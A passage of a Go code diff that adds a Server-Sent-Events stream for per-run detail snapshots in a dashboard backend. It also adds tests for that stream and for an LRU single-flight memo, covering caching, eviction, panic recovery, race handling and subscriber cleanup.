+	if builds := detailBuildCount.Load() - before; builds != 1 {
+		t.Fatalf("builds = %d across %d concurrent same-generation calls, want 1 (single-flight)", builds, n)
+	}
+	for i := 1; i < n; i++ {
+		if !bytes.Equal(results[0], results[i]) {
+			t.Fatalf("concurrent result[%d] differs from result[0]", i)
+		}
+	}
+}
+
+// TestRunDetailMemoEvictsLRU proves the memo is bounded: once more distinct
+// generations than the cap are inserted, the oldest is evicted (a re-request of
+// it rebuilds). Uses a tiny cap so a few generations force eviction.
+func TestRunDetailMemoEvictsLRU(t *testing.T) {
+	defer func(prev int) { runDetailMemoCap = prev }(runDetailMemoCap)
+	runDetailMemoCap = 2
+	m := newRunDetailMemo()
+
+	build := func(seq uint64) func() (runDetailMemoValue, error) {
+		return func() (runDetailMemoValue, error) {
+			detailBuildCount.Add(1)
+			return runDetailMemoValue{bytes: []byte{byte(seq)}}, nil
+		}
+	}
+	key := func(seq uint64) runDetailMemoKey { return runDetailMemoKey{runID: "run1", lastSeq: seq} }
+
+	before := detailBuildCount.Load()
+	// Fill: generations 1 and 2 (cap=2).
+	if _, err := m.getOrBuild(key(1), build(1)); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := m.getOrBuild(key(2), build(2)); err != nil {
+		t.Fatal(err)
+	}
+	// Generation 3 evicts the least-recently-used (generation 1).
+	if _, err := m.getOrBuild(key(3), build(3)); err != nil {
+		t.Fatal(err)
+	}
+	// Generation 2 is still cached (no rebuild).
+	if _, err := m.getOrBuild(key(2), build(2)); err != nil {
+		t.Fatal(err)
+	}
+	// Generation 1 was evicted → rebuild.
+	if _, err := m.getOrBuild(key(1), build(1)); err != nil {
+		t.Fatal(err)
+	}
+	// Builds: gen1, gen2, gen3, (gen2 hit), gen1-rebuild = 4.
+	if builds := detailBuildCount.Load() - before; builds != 4 {
+		t.Fatalf("builds = %d, want 4 (gen2 cached, evicted gen1 rebuilt)", builds)
+	}
+}
+
+// TestRunDetailMemoRecoversAfterBuildPanic proves a panic inside build() does
+// not poison the memo with a zero-value entry. The dashboardbff plane runs under
+// withRecovery, so a build panic is caught and the process keeps serving; the
+// deferred cleanup in getOrBuild must store NOTHING (completed stays false),
+// clear the in-flight handshake, and let the next caller re-elect and build a
+// real value — never read cached empty bytes. Mirrors
+// TestSingleFlightCacheRecoversAfterComputePanic for the LRU memo.
+func TestRunDetailMemoRecoversAfterBuildPanic(t *testing.T) {
+	m := newRunDetailMemo()
+	key := runDetailMemoKey{runID: "run1", lastSeq: 1}
+
+	// First caller: build panics. Recover it here, mimicking withRecovery. The
+	// panic MUST propagate out of getOrBuild (not be swallowed) while the deferred
+	// cleanup clears the key and stores nothing.
+	func() {
+		defer func() { _ = recover() }()
+		_, _ = m.getOrBuild(key, func() (runDetailMemoValue, error) {
+			panic("boom")
+		})
+		t.Fatal("expected the panicking build to propagate out of getOrBuild")
+	}()
+
+	// A subsequent caller for the SAME key must re-elect (not deadlock on an
+	// orphaned inflight channel) and must build a fresh value rather than read a
+	// cached zero-value entry a poisoning store would have left.
+	done := make(chan struct{})
+	var (
+		got runDetailMemoValue
+		err error
+	)
+	go func() {
+		defer close(done)
+		got, err = m.getOrBuild(key, func() (runDetailMemoValue, error) {
+			return runDetailMemoValue{bytes: []byte("real")}, nil
+		})
+	}()
+	select {
+	case <-done:
+	case <-time.After(2 * time.Second):
+		t.Fatal("post-panic getOrBuild deadlocked on an orphaned inflight channel")
+	}
+	if err != nil {
+		t.Fatalf("post-panic getOrBuild: %v", err)
+	}
+	if string(got.bytes) != "real" {
+		t.Fatalf("post-panic getOrBuild returned bytes %q, want the freshly built %q "+
+			"(a poisoned zero-value entry would be empty)", got.bytes, "real")
+	}
+}
+
+// TestRunDetailSameGenerationSkipsSnapshotFold proves two detail() calls at the
+// same fold generation fold the run's snapshot exactly once — the second is
+// served from the snapshot cache with no re-scan. Before the snapshot cache the
+// detail memo skipped the build+marshal on a hit, but detail() still re-ran
+// SnapshotForRun on every request, so the hot repeat GET kept scanning the run.
+func TestRunDetailSameGenerationSkipsSnapshotFold(t *testing.T) {
+	_, tl := warmRunTailer(t,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	ctx := context.Background()
+
+	before := snapshotFoldCount.Load()
+	if _, ready, err := tl.detail(ctx, "run1"); err != nil || !ready {
+		t.Fatalf("first detail: err=%v ready=%v", err, ready)
+	}
+	if _, ready, err := tl.detail(ctx, "run1"); err != nil || !ready {
+		t.Fatalf("second detail: err=%v ready=%v", err, ready)
+	}
+	if folds := snapshotFoldCount.Load() - before; folds != 1 {
+		t.Fatalf("snapshot folds = %d across two same-generation detail() calls, want 1 "+
+			"(the second must hit the snapshot cache)", folds)
+	}
+}
+
+// TestRunDetailNewGenerationRefolds proves appending a bead event (which advances
+// lastSeq) invalidates the snapshot cache, so the next detail() re-folds — the
+// snapshot cache must not serve a stale fold across generations.
+func TestRunDetailNewGenerationRefolds(t *testing.T) {
+	defer func(prev time.Duration) { runTailPollInterval = prev }(runTailPollInterval)
+	runTailPollInterval = 15 * time.Millisecond
+
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+	tl, _ := p.cityRunTailer("alpha")
+	select {
+	case <-tl.readyCh:
+	case <-time.After(2 * time.Second):
+		t.Fatal("cold replay did not complete")
+	}
+	ctx := context.Background()
+
+	before := snapshotFoldCount.Load()
+	if _, _, err := tl.detail(ctx, "run1"); err != nil {
+		t.Fatalf("first detail: %v", err)
+	}
+	seqBefore := currentLastSeq(tl)
+
+	// Append a new step event; the tail folds it and bumps lastSeq → a new key.
+	appendEvents(t, logPath, runDetailStepEvent(3, "run1.2", "run1", "rebase-check", "open"))
+	waitForLastSeqAbove(t, tl, seqBefore)
+
+	if _, _, err := tl.detail(ctx, "run1"); err != nil {
+		t.Fatalf("second detail after append: %v", err)
+	}
+	if folds := snapshotFoldCount.Load() - before; folds != 2 {
+		t.Fatalf("snapshot folds = %d, want 2 (a new fold generation must re-fold)", folds)
+	}
+}
+
+// currentLastSeq reads the tailer's published fold cursor under its lock.
+func currentLastSeq(tl *cityRunTailer) uint64 {
+	tl.mu.RLock()
+	defer tl.mu.RUnlock()
+	return tl.lastSeq
+}
+
+// waitForLastSeqAbove blocks until the tailer's lastSeq advances past prev.
+func waitForLastSeqAbove(t *testing.T, tl *cityRunTailer, prev uint64) {
+	t.Helper()
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		if currentLastSeq(tl) > prev {
+			return
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	t.Fatalf("lastSeq did not advance past %d within deadline (now %d)", prev, currentLastSeq(tl))
+}
diff --git a/internal/api/dashboardbff/rundetail_stream.go b/internal/api/dashboardbff/rundetail_stream.go
new file mode 100644
index 0000000000..2a7475025d
--- /dev/null
+++ b/internal/api/dashboardbff/rundetail_stream.go
@@ -0,0 +1,259 @@
+package dashboardbff
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+// runDetailStreamHeartbeat is how often an idle detail stream emits a comment
+// frame so a proxy or the browser does not reap an otherwise-silent connection.
+// A var (not a const) so tests can shorten it.
+var runDetailStreamHeartbeat = 25 * time.Second
+
+// runDetailStreamAfterPrecheck is a test-only seam invoked once, after the
+// precheck detail() read and BEFORE the subscribe + first-frame re-read. It lets
+// a test deterministically stage a fold that publishes in the
+// [precheck → connect] window — the exact race the post-subscribe re-read fixes
+// — so it can assert the FIRST frame reflects the newer generation. Nil (a
+// no-op) in production.
+var runDetailStreamAfterPrecheck func()
+
+// detailStreamSub is one detail-stream connection's wakeup channel. The channel
+// is buffered with capacity 1 and coalescing: a full buffer means a rebuild is
+// already pending for this subscriber, so build()'s non-blocking send is a
+// harmless no-op. The handler goroutine is the sole receiver.
+type detailStreamSub struct {
+	notify chan struct{}
+}
+
+// subscribe registers a new detail-stream subscriber and returns it. The caller
+// MUST call unsubscribe when the connection ends (deferred in the handler) so
+// the registry never leaks a channel for a gone connection.
+func (t *cityRunTailer) subscribe() *detailStreamSub {
+	sub := &detailStreamSub{notify: make(chan struct{}, 1)}
+	t.subMu.Lock()
+	if t.subs == nil {
+		t.subs = make(map[*detailStreamSub]struct{})
+	}
+	t.subs[sub] = struct{}{}
+	t.subMu.Unlock()
+	return sub
+}
+
+// unsubscribe removes a subscriber from the registry. Idempotent: a double call
+// (e.g. an early-return path plus the deferred cleanup) is safe.
+func (t *cityRunTailer) unsubscribe(sub *detailStreamSub) {
+	t.subMu.Lock()
+	delete(t.subs, sub)
+	t.subMu.Unlock()
+}
+
+// subscriberCount reports the number of live detail-stream subscribers. It backs
+// the goroutine-leak test (the count must return to zero after every connection
+// closes) and carries no production behavior.
+func (t *cityRunTailer) subscriberCount() int {
+	t.subMu.Lock()
+	defer t.subMu.Unlock()
+	return len(t.subs)
+}
+
+// notifySubscribers wakes every detail-stream subscriber with a NON-BLOCKING
+// send: a subscriber whose buffer is already full has a rebuild pending, so
+// dropping the extra wakeup coalesces bursts without ever blocking the
+// fold-publish path. The lock is held only to walk the registry (never across a
+// network write). Called from build().
+func (t *cityRunTailer) notifySubscribers() {
+	t.subMu.Lock()
+	for sub := range t.subs {
+		select {
+		case sub.notify <- struct{}{}:
+		default:
+		}
+	}
+	t.subMu.Unlock()
+}
+
+// registerRunDetailStream wires GET /api/city/{cityName}/runs/{runId}/detail/stream:
+// a per-run Server-Sent-Events stream that pushes the whole FormulaRunDetail as a
+// snapshot frame on connect and again whenever the fold changes this run's bytes.
+// It is a plain mux route on the sanctioned non-Huma plane (GET, so it passes the
+// mutation guard) — deliberately NOT the typed /v0 event stream (which pays a
+// per-event beads-DB Get) and NOT a bus event type (which would persist every
+// frame into events.jsonl). The frame body is the same struct the GET serves, so
+// the client renders a pushed frame with zero refetch.
+func (p *Plane) registerRunDetailStream() {
+	p.mux.HandleFunc("GET /api/city/{cityName}/runs/{runId}/detail/stream", p.handleRunDetailStream)
+}
+
+// handleRunDetailStream serves one detail-stream connection. It prechecks the run
+// exactly like the GET so a 422/404/503 is returned BEFORE any SSE body is
+// committed, commits the event-stream headers, then hands off to
+// serveRunDetailStream for the subscribe + first-frame + push loop.
+func (p *Plane) handleRunDetailStream(w http.ResponseWriter, r *http.Request) {
+	t, ok := p.cityRunTailer(r.PathValue("cityName"))
+	if !ok {
+		writeError(w, http.StatusNotFound, "unknown city")
+		return
+	}
+	runID := r.PathValue("runId")
+
+	flusher, ok := w.(http.Flusher)
+	if !ok {
+		// A ResponseWriter that cannot flush cannot stream; fail closed so the
+		// SPA falls back to the GET + nudge path rather than hanging on a stream
+		// that never delivers a frame.
+		writeError(w, http.StatusInternalServerError, "streaming unsupported")
+		return
+	}
+
+	// Precheck exactly like the GET so the HTTP error is returned BEFORE any SSE
+	// body is committed: 422 for an unsupported (v1/wisp) run, 404 for a missing
+	// run once warm, 503 while the projection is still warming.
+	value, ready, err := t.detail(r.Context(), runID)
+	if err != nil {
+		writeRunDetailStreamPrecheckError(w, err, ready)
+		return
+	}
+
+	writeRunDetailStreamHeaders(w)
+
+	// Test seam: stage a fold that publishes in the [precheck → connect] window.
+	if runDetailStreamAfterPrecheck != nil {
+		runDetailStreamAfterPrecheck()
+	}
+
+	t.serveRunDetailStream(r.Context(), w, flusher, runID, value)
+}
+
+// writeRunDetailStreamPrecheckError maps a failed precheck detail() read to the
+// HTTP status the SPA's stream fallback expects, returned before any SSE body is
+// committed: 422 for an unsupported (v1/wisp) run, 503 while the projection is
+// still warming, 404 for a run absent once warm.
+func writeRunDetailStreamPrecheckError(w http.ResponseWriter, err error, ready bool) {
+	var unsupported *runproj.UnsupportedRunError
+	if errors.As(err, &unsupported) {
+		writeJSON(w, http.StatusUnprocessableEntity, runDetailErrorBody{
+			Error:  unsupported.Message,
+			Reason: string(unsupported.Reason),
+		})
+		return
+	}
+	if !ready {
+		writeError(w, http.StatusServiceUnavailable, "run view is warming")
+		return
+	}
+	writeError(w, http.StatusNotFound, "unknown run")
+}
+
+// writeRunDetailStreamHeaders commits the SSE response headers and the 200 status.
+// After this the response is an event-stream body, so every later failure is
+// surfaced by a failed frame write rather than an HTTP status.
+func writeRunDetailStreamHeaders(w http.ResponseWriter) {
+	h := w.Header()
+	h.Set("Content-Type", "text/event-stream")
+	h.Set("Cache-Control", "no-cache")
+	h.Set("Connection", "keep-alive")
+	// Defeat proxy buffering (nginx and friends) so frames flush end-to-end.
+	h.Set("X-Accel-Buffering", "no")
+	h.Set("X-Content-Type-Options", "nosniff")
+	w.WriteHeader(http.StatusOK)
+}
+
+// serveRunDetailStream registers this connection as a subscriber, sends the
+// current fold as the first frame, then pushes a new frame on every real change
+// until the client disconnects. precheckValue is the already-validated precheck
+// read, used only as the first-frame fallback when the post-subscribe re-read
+// transiently fails.
+//
+// Register BEFORE re-reading the current fold, then send THAT re-read as the
+// first frame — not the precheck value. A build() landing in the
+// [precheck → subscribe] window publishes but reaches no subscriber, so a first
+// frame built from the precheck value would pin this connection on a stale fold
+// until the NEXT build (which may never come for a run that goes idle).
+// Registering first closes that window: the buffered(1) notify is
+// level-triggered, so a build in the narrower [subscribe → re-read] sub-window
+// fills the buffer, the loop's first select drains it, and byte-dedupe collapses
+// the redundant wakeup if the re-read already captured it. The precheck read is
+// kept only for the 422/404/503 HTTP decision in the caller.
+func (t *cityRunTailer) serveRunDetailStream(
+	ctx context.Context,
+	w http.ResponseWriter,
+	flusher http.Flusher,
+	runID string,
+	precheckValue runDetailMemoValue,
+) {
+	sub := t.subscribe()
+	defer t.unsubscribe(sub)
+
+	current, _, rebuildErr := t.detail(ctx, runID)
+	if rebuildErr != nil {
+		// The precheck already proved the run exists and is renderable; a
+		// transient re-read failure just falls back to that value.
+		current = precheckValue
+	}
+	lastSent := writeDetailFrame(w, flusher, current)
+
+	heartbeat := time.NewTicker(runDetailStreamHeartbeat)
+	defer heartbeat.Stop()
+	for {
+		select {
+		case <-ctx.Done():
+			return
+		case <-heartbeat.C:
+			// A comment frame keeps the connection warm without perturbing the
+			// client's rendered detail.
+			if _, err := fmt.Fprint(w, ": heartbeat\n\n"); err != nil {
+				return
+			}
+			flusher.Flush()
+		case <-sub.notify:
+			rebuilt, _, rebuildErr := t.detail(ctx, runID)
+			if rebuildErr != nil {
+				// A run that vanished from the fold (rotated out) or a transient
+				// projection error: keep the connection open on the last good frame
+				// rather than tearing down — a later fold may resurface it, and the
+				// client already has a coherent snapshot.
+				continue
+			}
+			// Byte-dedupe: only push when THIS run's marshaled bytes actually
+			// changed. An unrelated-run event published a new fold and woke us, but
+			// if the run's own detail is identical we send nothing.
+			if bytes.Equal(lastSent, rebuilt.bytes) {
+				continue
+			}
+			lastSent = writeDetailFrame(w, flusher, rebuilt)
+		}
+	}
+}
+
+// writeDetailFrame writes one `id: / event: detail / data:` SSE frame carrying
+// the memoized detail bytes and flushes. It returns the bytes written so the
+// caller can byte-dedupe the next frame against them. A write error is ignored
+// here — the next loop iteration's ctx.Done or a subsequent write surfaces the
+// dead connection and returns.
+func writeDetailFrame(w http.ResponseWriter, flusher http.Flusher, value runDetailMemoValue) []byte {
+	// The frame id is the snapshot's event seq (the tailer's publish cursor),
+	// which the detail DTO also carries as snapshotEventSeq — so a reconnect's
+	// Last-Event-ID (if a proxy replays one) is meaningful, though the stream
+	// needs no replay because every frame is a whole snapshot.
+	// A write error here is not actionable — the next loop iteration's ctx.Done
+	// (client disconnect) or a subsequent failed write tears the connection down.
+	_, _ = fmt.Fprintf(w, "id: %d\nevent: detail\ndata: %s\n\n", frameSeq(value.detail), value.bytes)
+	flusher.Flush()
+	return value.bytes
+}
+
+// frameSeq returns the snapshot event seq to stamp as the SSE frame id, or 0
+// when the snapshot carries no known seq.
+func frameSeq(detail runproj.FormulaRunDetail) int64 {
+	if detail.SnapshotEventSeq.Kind == "known" {
+		return detail.SnapshotEventSeq.Seq
+	}
+	return 0
+}
diff --git a/internal/api/dashboardbff/rundetail_stream_test.go b/internal/api/dashboardbff/rundetail_stream_test.go
new file mode 100644
index 0000000000..e641b87aa0
--- /dev/null
+++ b/internal/api/dashboardbff/rundetail_stream_test.go
@@ -0,0 +1,469 @@
+package dashboardbff
+
+import (
+	"bufio"
+	"context"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"path/filepath"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+// sseFrame is one parsed SSE frame: its id (empty when the frame carried none),
+// its event name, and the joined data payload. Comment/heartbeat lines (":"
+// prefixed) are surfaced via the comment field so a test can assert a heartbeat
+// fired without confusing it for a data frame.
+type sseFrame struct {
+	id      string
+	event   string
+	data    string
+	comment string
+}
+
+// readSSEFrame reads one whole SSE frame (up to the blank-line terminator) from
+// the scanner, returning false at EOF. It coalesces multi-line data per the SSE
+// grammar and captures a leading comment line as a heartbeat marker.
+func readSSEFrame(t *testing.T, sc *bufio.Scanner) (sseFrame, bool) {
+	t.Helper()
+	var f sseFrame
+	var data []string
+	sawField := false
+	for sc.Scan() {
+		line := sc.Text()
+		if line == "" {
+			if sawField {
+				f.data = strings.Join(data, "\n")
+				return f, true
+			}
+			continue // leading blank line between frames
+		}
+		sawField = true
+		switch {
+		case strings.HasPrefix(line, ":"):
+			f.comment = strings.TrimSpace(line[1:])
+		case strings.HasPrefix(line, "id:"):
+			f.id = strings.TrimSpace(line[3:])
+		case strings.HasPrefix(line, "event:"):
+			f.event = strings.TrimSpace(line[6:])
+		case strings.HasPrefix(line, "data:"):
+			data = append(data, strings.TrimPrefix(line[5:], " "))
+		}
+	}
+	return sseFrame{}, false
+}
+
+// startDetailStream opens the detail stream against the plane over a real
+// httptest.Server (so the ResponseWriter is a flushing network writer, not the
+// buffering httptest.ResponseRecorder) and returns the response plus a scanner
+// positioned at the first frame. The caller closes the returned func to tear the
+// connection down.
+func startDetailStream(t *testing.T, srv *httptest.Server) (*http.Response, *bufio.Scanner, func()) {
+	t.Helper()
+	ctx, cancel := context.WithCancel(context.Background())
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet,
+		srv.URL+"/api/city/alpha/runs/run1/detail/stream", nil)
+	if err != nil {
+		cancel()
+		t.Fatalf("new request: %v", err)
+	}
+	req.Header.Set("Accept", "text/event-stream")
+	resp, err := srv.Client().Do(req)
+	if err != nil {
+		cancel()
+		t.Fatalf("open stream: %v", err)
+	}
+	sc := bufio.NewScanner(resp.Body)
+	sc.Buffer(make([]byte, 0, 64*1024), 8<<20)
+	return resp, sc, func() {
+		cancel()
+		_ = resp.Body.Close()
+	}
+}
+
+// TestRunDetailStreamFirstFrame connects and asserts exactly one detail frame
+// arrives immediately, its id equals the tailer's lastSeq, and its data decodes
+// to the run's FormulaRunDetail.
+func TestRunDetailStreamFirstFrame(t *testing.T) {
+	dir := t.TempDir()
+	writeEventLog(
+		t, filepath.Join(dir, ".gc", "events.jsonl"),
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	resp, sc, closeStream := startDetailStream(t, srv)
+	defer closeStream()
+
+	if ct := resp.Header.Get("Content-Type"); ct != "text/event-stream" {
+		t.Fatalf("Content-Type = %q, want text/event-stream", ct)
+	}
+
+	frame, ok := readSSEFrame(t, sc)
+	if !ok {
+		t.Fatal("no first frame received")
+	}
+	if frame.event != "detail" {
+		t.Errorf("event = %q, want detail", frame.event)
+	}
+	if frame.id != "2" {
+		t.Errorf("frame id = %q, want 2 (lastSeq)", frame.id)
+	}
+	var detail runproj.FormulaRunDetail
+	if err := json.Unmarshal([]byte(frame.data), &detail); err != nil {
+		t.Fatalf("decode frame data: %v; data=%q", err, frame.data)
+	}
+	if detail.RunID != "run1" {
+		t.Errorf("detail.RunID = %q, want run1", detail.RunID)
+	}
+	if len(detail.Nodes) != 2 {
+		t.Errorf("detail nodes = %d, want 2 (root + preflight)", len(detail.Nodes))
+	}
+}
+
+// TestRunDetailStreamFirstFrameReflectsBuildRacingConnect is the regression guard
+// for the missed-frame race: a build() that publishes in the [precheck → connect]
+// window bumps the fold generation but reaches no subscriber yet, so a first frame
+// built from the PRECHECK value would pin the connection on a stale generation
+// until the next build (which may never come for a run that goes idle). The fix
+// re-reads detail() AFTER subscribe and sends THAT as the first frame. The
+// runDetailStreamAfterPrecheck seam stages exactly one such racing fold, so the
+// first frame must carry the NEWER lastSeq/bytes, not the precheck's.
+func TestRunDetailStreamFirstFrameReflectsBuildRacingConnect(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runDetailRootEvent()) // seq 1 only at connect-precheck time
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	// Warm the tailer so the precheck is a true read (lastSeq==1), not a warming
+	// wait, and grab the live tailer to fold the racing event into.
+	_ = getRunSummary(t, p, "alpha")
+	tl, ok := p.cityRunTailer("alpha")
+	if !ok {
+		t.Fatal("tailer not found")
+	}
+
+	// Stage a build in the [precheck → connect] window: append a run-member event
+	// and fold it directly, advancing lastSeq 1→2 with the subscriber not yet
+	// registered. Before the fix the first frame carried the precheck's seq 1.
+	var once sync.Once
+	defer func(prev func()) { runDetailStreamAfterPrecheck = prev }(runDetailStreamAfterPrecheck)
+	runDetailStreamAfterPrecheck = func() {
+		once.Do(func() {
+			appendEvents(t, logPath, runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"))
+			proj := runproj.NewProjector()
+			if err := proj.ColdLoad(logPath); err != nil {
+				t.Errorf("cold load in seam: %v", err)
+				return
+			}
+			tl.build(proj, nil, nil)
+		})
+	}
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	resp, sc, closeStream := startDetailStream(t, srv)
+	defer closeStream()
+	_ = resp
+
+	frame, ok := readSSEFrame(t, sc)
+	if !ok {
+		t.Fatal("no first frame")
+	}
+	if frame.id != "2" {
+		t.Fatalf("first frame id = %q, want 2 — the build racing connect must be reflected in the FIRST frame (stale seq 1 = the missed-frame race)", frame.id)
+	}
+	var detail runproj.FormulaRunDetail
+	if err := json.Unmarshal([]byte(frame.data), &detail); err != nil {
+		t.Fatalf("decode first frame: %v", err)
+	}
+	if len(detail.Nodes) != 2 {
+		t.Errorf("first frame nodes = %d, want 2 (root + the racing preflight step)", len(detail.Nodes))
+	}
+}
+
+// TestRunDetailStreamPushesOnRunMemberEvent proves a new run-member bead event
+// (lastSeq++) pushes exactly one NEW frame with a higher id.
+func TestRunDetailStreamPushesOnRunMemberEvent(t *testing.T) {
+	defer func(prev time.Duration) { runTailPollInterval = prev }(runTailPollInterval)
+	runTailPollInterval = 15 * time.Millisecond
+
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runDetailRootEvent())
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	resp, sc, closeStream := startDetailStream(t, srv)
+	defer closeStream()
+	_ = resp
+
+	first, ok := readSSEFrame(t, sc)
+	if !ok {
+		t.Fatal("no first frame")
+	}
+	if first.id != "1" {
+		t.Fatalf("first frame id = %q, want 1", first.id)
+	}
+
+	// A new run-member step lands on the log; the tailer folds it and must push.
+	appendEvents(t, logPath, runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"))
+
+	next, ok := readSSEFrame(t, sc)
+	if !ok {
+		t.Fatal("no push frame after run-member event")
+	}
+	if next.id != "2" {
+		t.Errorf("push frame id = %q, want 2 (higher than first)", next.id)
+	}
+	var detail runproj.FormulaRunDetail
+	if err := json.Unmarshal([]byte(next.data), &detail); err != nil {
+		t.Fatalf("decode push frame: %v", err)
+	}
+	if len(detail.Nodes) != 2 {
+		t.Errorf("pushed detail nodes = %d, want 2 (root + preflight)", len(detail.Nodes))
+	}
+}
+
+// TestRunDetailStreamByteDedupeUnrelatedRun is the correctness filter: an event
+// for a DIFFERENT run bumps the fold's lastSeq but does not change THIS run's
+// marshaled detail bytes, so no new frame is sent on this connection.
+func TestRunDetailStreamByteDedupeUnrelatedRun(t *testing.T) {
+	defer func(prev time.Duration) { runTailPollInterval = prev }(runTailPollInterval)
+	runTailPollInterval = 15 * time.Millisecond
+
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runDetailRootEvent())
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	resp, sc, closeStream := startDetailStream(t, srv)
+	defer closeStream()
+	_ = resp
+
+	first, ok := readSSEFrame(t, sc)
+	if !ok || first.id != "1" {
+		t.Fatalf("first frame = %+v, ok=%v; want id 1", first, ok)
+	}
+
+	// An unrelated run's molecule lands: it advances lastSeq (→ a subscriber
+	// notify) but run1's detail bytes are unchanged, so THIS connection must send
+	// nothing. Then a real run1 member lands and must break through — proving the
+	// dedupe suppresses only the unrelated frame, not a genuine change.
+	appendEvents(t, logPath, runMoleculeEvent(2, "otherRun", "mol-design-review-v2", "worker-x"))
+	appendEvents(t, logPath, runDetailStepEvent(3, "run1.1", "run1", "preflight", "in_progress"))
+
+	next, ok := readSSEFrame(t, sc)
+	if !ok {
+		t.Fatal("no frame after the run1 member event")
+	}
+	// The dedupe must have SKIPPED the otherRun frame (id 2), so the next frame
+	// the connection sees is the run1 change at id 3 — never id 2.
+	if next.id != "3" {
+		t.Errorf("next frame id = %q, want 3 (the otherRun event at seq 2 must be byte-deduped away)", next.id)
+	}
+}
+
+// TestRunDetailStreamReconnectFreshSnapshot proves a reconnect gets one fresh
+// current snapshot frame (frames are whole snapshots; no replay needed).
+func TestRunDetailStreamReconnectFreshSnapshot(t *testing.T) {
+	dir := t.TempDir()
+	writeEventLog(
+		t, filepath.Join(dir, ".gc", "events.jsonl"),
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	resp1, sc1, close1 := startDetailStream(t, srv)
+	f1, ok := readSSEFrame(t, sc1)
+	if !ok || f1.id != "2" {
+		t.Fatalf("first connection frame = %+v ok=%v, want id 2", f1, ok)
+	}
+	_ = resp1
+	close1()
+
+	// A brand-new connection must immediately get the current snapshot again.
+	resp2, sc2, close2 := startDetailStream(t, srv)
+	defer close2()
+	_ = resp2
+	f2, ok := readSSEFrame(t, sc2)
+	if !ok {
+		t.Fatal("reconnect received no snapshot frame")
+	}
+	if f2.event != "detail" || f2.id != "2" {
+		t.Errorf("reconnect frame = %+v, want event detail id 2", f2)
+	}
+	if f2.data != f1.data {
+		t.Errorf("reconnect snapshot bytes differ from the original snapshot")
+	}
+}
+
+// TestRunDetailStreamDeregistersOnDisconnect proves the subscriber registry
+// returns to empty after a client disconnects — the goroutine-leak guard.
+func TestRunDetailStreamDeregistersOnDisconnect(t *testing.T) {
+	dir := t.TempDir()
+	writeEventLog(t, filepath.Join(dir, ".gc", "events.jsonl"), runDetailRootEvent())
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	tl, ok := p.cityRunTailer("alpha")
+	if !ok {
+		t.Fatal("tailer not found")
+	}
+
+	resp, sc, closeStream := startDetailStream(t, srv)
+	if _, ok := readSSEFrame(t, sc); !ok {
+		t.Fatal("no first frame")
+	}
+	_ = resp
+
+	// Subscriber registered while the connection is live.
+	if got := tl.subscriberCount(); got != 1 {
+		t.Fatalf("subscriber count = %d while connected, want 1", got)
+	}
+
+	closeStream()
+
+	// The handler goroutine must observe the disconnect and deregister.
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		if tl.subscriberCount() == 0 {
+			return
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	t.Fatalf("subscriber count = %d after disconnect, want 0 (leak)", tl.subscriberCount())
+}
+
+// TestRunDetailStreamUnknownCity404 confirms an unresolvable city 404s before
+// any stream body.
+func TestRunDetailStreamUnknownCity404(t *testing.T) {
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{}}})
+	rec := httptest.NewRecorder()
+	p.Handler().ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/api/city/ghost/runs/run1/detail/stream", nil))
+	if rec.Code != http.StatusNotFound {
+		t.Errorf("status = %d, want 404 for unknown city", rec.Code)
+	}
+	if ct := rec.Header().Get("Content-Type"); strings.HasPrefix(ct, "text/event-stream") {
+		t.Errorf("Content-Type = %q, must not be an event-stream on a precheck 404", ct)
+	}
+}
+
